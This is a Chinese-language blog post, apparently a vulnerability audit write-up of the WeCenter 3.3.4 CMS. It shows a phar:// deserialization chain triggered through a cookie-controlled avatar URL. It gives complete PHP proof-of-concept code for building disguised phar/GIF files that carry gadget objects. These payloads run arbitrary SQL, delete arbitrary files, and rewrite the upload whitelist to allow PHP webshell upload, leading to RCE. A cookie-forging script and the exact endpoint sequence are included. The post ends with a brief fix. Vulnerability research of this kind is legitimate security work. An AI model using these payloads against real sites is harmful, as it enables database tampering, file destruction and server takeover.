前言
白天又研究了一天的tp的pop链,终于理解了整个挖掘过程。审计一个19年的cms来缓缓。这个cms同样试利用了pop链实现RCE
漏洞点
在上一个tp框架审计中最后我们是自己构造了一个可控的 unserialize(可控),结合我们寻找的pop链触发发序列化。
在审计中
反序列化点可以从两个方向进行寻找,一种是直接搜可控的 unserialize(可控) ,另一种是完全可控的文件名(利用 phar:// 协议触发反序列化)。刚好 WeCenter 中就存在可控的文件名。我们今天就是利用的phar:// 协议触发反序列化。
前面的文章中已经提到,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
本次漏洞起点就是
file_get_contents 函数的文件名完全可控(来自 $_COOKIE ),利用 phar:// 协议触发反序列化。
全局搜索file_get_contents 函数
依旧是回溯方法,
目的:
查看何处调用了 associate_remote_avatar 方法,以及看看 $headimgurl 值是否可控。
看到headimgurl参数由$wxuser获得
跟进
emm全局搜索就这一个页面有这个变量,看这一行
$wxuser=$this->model('account')>fetch_row('users_weixin','uid='.$value['uid'].' and headimgurl IS NOT NULL');
$wxuser变量由fetch_row获取这一行所有数据后面拼凑而成。
跟进users_weixin这个参数
看到他是一个数据表
寻找增删改查等敏感操作:
我们可以看到这个地方和前面有关联,跟进$access_user:
可以看到这个函数中有这个参数
继续回溯,找哪里调用了bind_account()
还是在这个页面:weixin.php:
public function binding_action()
这个方法调用了bind_account()
上面的 $access_user 为这里传入的 $WXConnect[‘access_user’] ,而 $WXConnect 的值来自可控的 $_COOKIE 。
$WXConnect的值就是cookie中json解码后的值(前缀_WXConnect)
前面说的攻击点有了:
完全可控的文件名(利用 phar:// 协议触发反序列化
传入 file_get_contents 函数的文件名完全可控(来自 $_COOKIE )
整个攻击过程:
1、生成恶意cookie - $WXConnect
2、binding_action取$WXConnect赋给bind_account
3、bind_account得到$WXConnect后,把值中的headimgurl入库
4、synch_img_action读库
5、把读库的结果赋值给associate_remote_avatar
6、associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化
任意SQL语句执行
pop链的寻找我们全局搜索魔术方法:
system/aws_model.inc.php:
__destruct() 方法中存在任意 SQL 语句执行。
我们先生成一个phar文件:
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$this->_shutdown_query['test'] = "SELECT UPDATEXML(1, concat(0xa, user(), 0xa), 1)";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
rename("2.phar","shell.gif");
?>
然后找个可以上传文件的地方。这里要注意,一定不要选择在用户头像处上传。
这里看1889行,会置空我们的文件
这里我们通过发起问题的地方来上传文件
记录一下路径
生成并设置COOKIE中的WXConnect值
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'naiquan';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
echo json_encode($arr);
?>
将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。
访问app/m/weixin.php下的binding_action
注意这里要对应
bind_account得到$WXConnect后,把值中的headimgurl入库
synch_img_action读库后赋值给associate_remote_avatar,associate_remote_avatar把取到的值给file_get_contents,触发phar反序列化:
访问app/account/ajax.php下的synch_img_action
任意SQL语句执行成功
任意文件删除
system/Zend/Http/Response/Stream.php:__destruct() 方法中存在任意文件删除。
exp:
<?php
class Zend_Http_Response_Stream
{
protected $_cleanup;
protected $stream_name;
public function __construct($stream_name)
{
$this->_cleanup = true;
$this->stream_name = $stream_name;
}
}
$stream_name = '/var/www/html/wecenter334/shell.php';
$evilobj = new Zend_Http_Response_Stream($stream_name);
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($evilobj);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>
流程和上面一致,不再重复
RCE
这个才是重点,能够RCE,我们来分析一下流程:
WeCenter 后台的 允许的附件文件类型 处,设置了用户可上传的文件类型后缀。而这个配置是写在数据库中的,我们可以利用前面的任意 SQL 语句执行的 POP 链,往字段中添加 php 文件后缀。
可以看到这里后缀白名单限制了我们上传php文件,我们可以通过一个修改后缀名白名单的方式,上传php文件进行RCE了
利用下面的poc生成phar文件,重命名为shell.gif
<?php
class AWS_MODEL{
private $_shutdown_query = array();
public function __construct(){
$file_exts = "jpg,jpeg,png,gif,zip,doc,docx,rar,pdf,psd,php";
$this->_shutdown_query['test'] = "UPDATE `aws_system_setting` SET `value` = '".serialize($file_exts)."' WHERE (`varname` = 'allowed_upload_types')";
}
}
$a = new AWS_MODEL;
$phar = new Phar("2.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."__HALT_COMPILER();");
$phar->setMetadata($a);
$phar->addFromString("test.txt","123");
$phar->stopBuffering();
?>
和前面一样通过发起问题的地方来上传文件
记录一下路径
生成并设置COOKIE中的WXConnect值
<?php
$arr = array();
$arr['access_token'] = array('openid' => '1');
$arr['access_user'] = array();
$arr['access_user']['openid'] = 1;
$arr['access_user']['nickname'] = 'naiquan';
$arr['access_user']['headimgurl'] = 'phar://uploads/question/20200107/a3df6f75e11120c22ba0d85519c5d442.gif';
echo json_encode($arr);
?>
将headimgurl的值设置成phar伪协议解析的恶意文件后运行,将结果放入Cookie中,前缀可参考Cookie中的其他参数。
访问app/m/weixin.php下的binding_action
接着通过如下数据包触发 phar反序列化 执行 SQL 语句。
可以看到我们上传php文件成功
漏洞修复
删除app/account/ajax.php下名为synch_img的action即可,删除路由或者函数都可以。
参考
https://mochazz.github.io/2020/01/16/WeCenter3.3.4SQL注入到RCE/#利用